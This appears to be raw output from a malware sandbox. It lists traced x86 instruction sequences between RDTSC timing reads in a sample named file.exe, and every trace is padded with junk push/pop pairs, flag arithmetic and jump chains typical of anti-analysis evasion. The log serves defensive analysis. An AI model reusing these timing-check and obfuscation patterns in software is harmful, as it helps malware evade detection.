Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510762 second address: 55107F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007F20FD6D8E5Eh 0x0000000f mov eax, dword ptr [76FB65FCh] 0x00000014 jmp 00007F20FD6D8E60h 0x00000019 test eax, eax 0x0000001b pushad 0x0000001c mov ax, EF1Dh 0x00000020 pushfd 0x00000021 jmp 00007F20FD6D8E5Ah 0x00000026 sbb si, 5E78h 0x0000002b jmp 00007F20FD6D8E5Bh 0x00000030 popfd 0x00000031 popad 0x00000032 je 00007F216F0FBFF5h 0x00000038 jmp 00007F20FD6D8E66h 0x0000003d mov ecx, eax 0x0000003f pushad 0x00000040 movzx ecx, bx 0x00000043 popad 0x00000044 xor eax, dword ptr [ebp+08h] 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55107F3 second address: 55107F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55107F9 second address: 5510813 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ax, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and ecx, 1Fh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F20FD6D8E5Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510813 second address: 5510842 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 pushfd 0x00000007 jmp 00007F20FCE83CAAh 0x0000000c sbb ecx, 33A6BD98h 0x00000012 jmp 00007F20FCE83CABh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b ror eax, cl 0x0000001d pushad 0x0000001e mov cl, B9h 0x00000020 push eax 0x00000021 push edx 0x00000022 mov esi, ebx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510842 second address: 55108D4 instructions: 0x00000000 rdtsc 0x00000002 mov edi, 6880EE5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a leave 0x0000000b pushad 0x0000000c jmp 00007F20FD6D8E5Bh 0x00000011 push eax 0x00000012 jmp 00007F20FD6D8E5Fh 0x00000017 pop eax 0x00000018 popad 0x00000019 retn 0004h 0x0000001c nop 0x0000001d mov esi, eax 0x0000001f lea eax, dword ptr [ebp-08h] 0x00000022 xor esi, dword ptr [00BD2014h] 0x00000028 push eax 0x00000029 push eax 0x0000002a push eax 0x0000002b lea eax, dword ptr [ebp-10h] 0x0000002e push eax 0x0000002f call 00007F2102059604h 0x00000034 push FFFFFFFEh 0x00000036 jmp 00007F20FD6D8E5Fh 0x0000003b pop eax 0x0000003c pushad 0x0000003d pushfd 0x0000003e jmp 00007F20FD6D8E64h 0x00000043 sub si, 4CB8h 0x00000048 jmp 00007F20FD6D8E5Bh 0x0000004d popfd 0x0000004e mov edx, eax 0x00000050 popad 0x00000051 ret 0x00000052 nop 0x00000053 push eax 0x00000054 call 00007F210205963Ah 0x00000059 mov edi, edi 0x0000005b jmp 00007F20FD6D8E62h 0x00000060 xchg eax, ebp 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 jmp 00007F20FD6D8E5Dh 0x00000069 movzx eax, dx 0x0000006c popad 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55108D4 second address: 5510921 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F20FCE83CB1h 0x00000010 pushfd 0x00000011 jmp 00007F20FCE83CB0h 0x00000016 sub ecx, 542A0BD8h 0x0000001c jmp 00007F20FCE83CABh 0x00000021 popfd 0x00000022 popad 0x00000023 xchg eax, ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 push edx 0x00000028 pop eax 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510921 second address: 5510926 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510926 second address: 5510954 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movsx edi, si 0x00000011 call 00007F20FCE83CB6h 0x00000016 pop esi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510954 second address: 551095A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551095A second address: 551095E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551095E second address: 5510962 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510962 second address: 5510975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov bx, DF86h 0x00000010 mov bl, 6Eh 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5510975 second address: 551098D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F20FD6D8E64h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0010 second address: 54C0014 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0014 second address: 54C001A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C001A second address: 54C0033 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CAEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0033 second address: 54C0037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0037 second address: 54C0054 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0054 second address: 54C005A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C005A second address: 54C00E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CB3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d movsx edi, cx 0x00000010 call 00007F20FCE83CB0h 0x00000015 movzx ecx, di 0x00000018 pop edx 0x00000019 popad 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c mov bx, cx 0x0000001f mov dl, cl 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 jmp 00007F20FCE83CB7h 0x00000029 and esp, FFFFFFF8h 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007F20FCE83CABh 0x00000035 sub ax, F87Eh 0x0000003a jmp 00007F20FCE83CB9h 0x0000003f popfd 0x00000040 mov di, ax 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C00E3 second address: 54C00E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C00E9 second address: 54C00ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C00ED second address: 54C0158 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f pop edi 0x00000010 mov dl, al 0x00000012 popad 0x00000013 pushfd 0x00000014 jmp 00007F20FD6D8E63h 0x00000019 add si, 07EEh 0x0000001e jmp 00007F20FD6D8E69h 0x00000023 popfd 0x00000024 popad 0x00000025 push eax 0x00000026 pushad 0x00000027 movsx ebx, cx 0x0000002a popad 0x0000002b xchg eax, ecx 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F20FD6D8E61h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0158 second address: 54C015E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C015E second address: 54C0162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0162 second address: 54C0166 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0166 second address: 54C01DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b mov eax, 7A7B1247h 0x00000010 pushfd 0x00000011 jmp 00007F20FD6D8E5Ch 0x00000016 and ah, FFFFFFF8h 0x00000019 jmp 00007F20FD6D8E5Bh 0x0000001e popfd 0x0000001f popad 0x00000020 call 00007F20FD6D8E68h 0x00000025 pushfd 0x00000026 jmp 00007F20FD6D8E62h 0x0000002b jmp 00007F20FD6D8E65h 0x00000030 popfd 0x00000031 pop eax 0x00000032 popad 0x00000033 mov dword ptr [esp], ebx 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C01DF second address: 54C01E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C01E3 second address: 54C01E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C01E9 second address: 54C029B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+10h] 0x0000000c jmp 00007F20FCE83CB6h 0x00000011 xchg eax, esi 0x00000012 jmp 00007F20FCE83CB0h 0x00000017 push eax 0x00000018 pushad 0x00000019 call 00007F20FCE83CB1h 0x0000001e pushfd 0x0000001f jmp 00007F20FCE83CB0h 0x00000024 sub ax, B8D8h 0x00000029 jmp 00007F20FCE83CABh 0x0000002e popfd 0x0000002f pop esi 0x00000030 mov ax, bx 0x00000033 popad 0x00000034 xchg eax, esi 0x00000035 jmp 00007F20FCE83CABh 0x0000003a mov esi, dword ptr [ebp+08h] 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 pushfd 0x00000041 jmp 00007F20FCE83CABh 0x00000046 sub cl, 0000004Eh 0x00000049 jmp 00007F20FCE83CB9h 0x0000004e popfd 0x0000004f mov di, cx 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C029B second address: 54C02C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E5Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007F20FD6D8E5Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C02C2 second address: 54C02C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C02C6 second address: 54C02E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C02E2 second address: 54C02F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F20FCE83CAEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C02F4 second address: 54C0303 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0303 second address: 54C0307 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0307 second address: 54C030B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C030B second address: 54C0311 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0311 second address: 54C0327 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0327 second address: 54C033E instructions: 0x00000000 rdtsc 0x00000002 movzx esi, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov cl, dl 0x00000009 popad 0x0000000a je 00007F216E8F1F8Ah 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 mov ax, 8BD7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C033E second address: 54C03BC instructions: 0x00000000 rdtsc 0x00000002 call 00007F20FD6D8E5Ch 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a movsx edi, si 0x0000000d popad 0x0000000e cmp dword ptr [esi+08h], DDEEDDEEh 0x00000015 pushad 0x00000016 mov di, cx 0x00000019 pushad 0x0000001a mov esi, 4D055051h 0x0000001f pushfd 0x00000020 jmp 00007F20FD6D8E5Eh 0x00000025 adc al, FFFFFFA8h 0x00000028 jmp 00007F20FD6D8E5Bh 0x0000002d popfd 0x0000002e popad 0x0000002f popad 0x00000030 je 00007F216F1470FDh 0x00000036 jmp 00007F20FD6D8E66h 0x0000003b mov edx, dword ptr [esi+44h] 0x0000003e jmp 00007F20FD6D8E60h 0x00000043 or edx, dword ptr [ebp+0Ch] 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C03BC second address: 54C03C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C03C2 second address: 54C03E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, cx 0x00000006 mov bh, ch 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test edx, 61000000h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F20FD6D8E64h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C03E9 second address: 54C0414 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, A074h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F216E8F1F3Bh 0x00000010 jmp 00007F20FCE83CAFh 0x00000015 test byte ptr [esi+48h], 00000001h 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov eax, edx 0x0000001e push edx 0x0000001f pop eax 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0414 second address: 54C0427 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F20FD6D8E5Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0427 second address: 54C0456 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F216E8F1F18h 0x0000000e pushad 0x0000000f mov ax, dx 0x00000012 mov al, dl 0x00000014 popad 0x00000015 test bl, 00000007h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F20FCE83CB5h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B06DB second address: 54B0717 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F20FD6D8E5Eh 0x0000000f push eax 0x00000010 jmp 00007F20FD6D8E5Bh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov dx, 3A96h 0x0000001d movsx edx, si 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0717 second address: 54B0797 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F20FCE83CAEh 0x00000010 and esp, FFFFFFF8h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F20FCE83CADh 0x0000001c xor ax, 6D56h 0x00000021 jmp 00007F20FCE83CB1h 0x00000026 popfd 0x00000027 pushfd 0x00000028 jmp 00007F20FCE83CB0h 0x0000002d jmp 00007F20FCE83CB5h 0x00000032 popfd 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0797 second address: 54B079C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B079C second address: 54B07AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B07AA second address: 54B07AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B07AE second address: 54B07B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B07B4 second address: 54B07E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E5Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F20FD6D8E5Bh 0x0000000f xchg eax, ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F20FD6D8E65h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B07E6 second address: 54B089B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FCE83CB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b jmp 00007F20FCE83CACh 0x00000010 call 00007F20FCE83CB2h 0x00000015 mov si, 51D1h 0x00000019 pop esi 0x0000001a popad 0x0000001b push eax 0x0000001c pushad 0x0000001d mov eax, 26D46A09h 0x00000022 call 00007F20FCE83CB6h 0x00000027 pushfd 0x00000028 jmp 00007F20FCE83CB2h 0x0000002d jmp 00007F20FCE83CB5h 0x00000032 popfd 0x00000033 pop eax 0x00000034 popad 0x00000035 xchg eax, esi 0x00000036 jmp 00007F20FCE83CB7h 0x0000003b mov esi, dword ptr [ebp+08h] 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F20FCE83CB5h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B089B second address: 54B08BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F20FD6D8E61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F20FD6D8E5Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B08BE second address: 54B09AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F20FCE83CACh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d pushad 0x0000000e mov bl, FEh 0x00000010 popad 0x00000011 je 00007F216E8F975Eh 0x00000017 jmp 00007F20FCE83CB4h 0x0000001c cmp dword ptr [esi+08h], DDEEDDEEh 0x00000023 jmp 00007F20FCE83CB0h 0x00000028 mov ecx, esi 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007F20FCE83CAEh 0x00000031 sub cx, B198h 0x00000036 jmp 00007F20FCE83CABh 0x0000003b popfd 0x0000003c call 00007F20FCE83CB8h 0x00000041 pushfd 0x00000042 jmp 00007F20FCE83CB2h 0x00000047 adc cx, 3328h 0x0000004c jmp 00007F20FCE83CABh 0x00000051 popfd 0x00000052 pop esi 0x00000053 popad 0x00000054 je 00007F216E8F96E1h 0x0000005a jmp 00007F20FCE83CAFh 0x0000005f test byte ptr [76FB6968h], 00000002h 0x00000066 pushad 0x00000067 mov dh, ch 0x00000069 movsx edx, cx 0x0000006c popad 0x0000006d jne 00007F216E8F96D1h 0x00000073 pushad 0x00000074 mov ecx, 6B5FE615h 0x00000079 call 00007F20FCE83CB2h 0x0000007e push eax 0x0000007f push edx 0x00000080 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B09AB second address: 54B09D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov edx, dword ptr [ebp+0Ch] 0x00000009 jmp 00007F20FD6D8E67h 0x0000000e xchg eax, ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B09D2 second address: 54B09D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B09D6 second address: 54B09DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B09DA second address: 54B09E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B09E0 second address: 54B0A34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, dx 0x00000006 mov bl, 65h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F20FD6D8E67h 0x00000011 xchg eax, ebx 0x00000012 jmp 00007F20FD6D8E66h 0x00000017 xchg eax, ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d jmp 00007F20FD6D8E63h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0A34 second address: 54B0A5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F20FCE83CAFh 0x00000008 movzx eax, di 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push esi 0x00000011 mov cx, bx 0x00000014 pop edx 0x00000015 mov cx, CA4Fh 0x00000019 popad 0x0000001a xchg eax, ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0A5F second address: 54B0A65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0A65 second address: 54B0A88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, si 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+14h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F20FCE83CB3h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0A88 second address: 54B0AA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F20FD6D8E64h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0AA0 second address: 54B0AA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0E0B second address: 54C0E1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F20FD6D8E5Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0E1B second address: 54C0E51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F20FCE83CB7h 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 jmp 00007F20FCE83CABh 0x00000016 popad 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
